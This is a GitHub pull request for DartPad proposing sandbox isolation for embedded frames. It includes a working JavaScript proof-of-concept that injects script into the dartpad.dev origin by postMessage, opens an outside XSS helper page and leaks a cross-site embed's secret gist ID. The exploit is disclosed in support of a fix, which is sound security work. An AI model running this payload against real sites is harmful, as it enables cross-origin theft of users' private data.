Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enforce sandbox isolation to prevent information leaks #2943

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

NDevTK
Copy link

@NDevTK NDevTK commented Apr 27, 2024

  • I’ve reviewed the contributor guide and applied the relevant portions to this PR.

Per https://github.com/dart-lang/dart-pad/wiki/Embedding-Guide websites can embed dart pad however its currently possible to leak data contained in a sites embed since the sandbox is not isolated.

// Please click, Opening a victim popup needs user activation
onclick = () => {

let frame = document.createElement('iframe');
frame.src = 'https://dartpad.dev/frame.html';
document.body.appendChild(frame);

payload = `
 // XSS running on the dartpad.dev origin (instead of null)
 let win = open('https://terjanq.me/xss.php?html=%3Ciframe%20src=%22https://dartpad.dev/?id=5c0e154dd50af4a9ac856908061291bc?theme=light%22%3E%3C/iframe%3E');
 setTimeout(() => {
  // Leak the secret gist ID of a cross-site embed
  alert('Leaked: ' + win[0].location.search);
 }, 2000);
`;

frame.onload = () => { frame.contentWindow.postMessage({command: 'execute', js: payload}, '*'); };

};

I'm new to this code base so please tell me if this is WAI or my fix is flawed.
In #2044 looks like it was decided not to allow for sandbox escapes of this kind.

@NDevTK NDevTK reopened this May 9, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant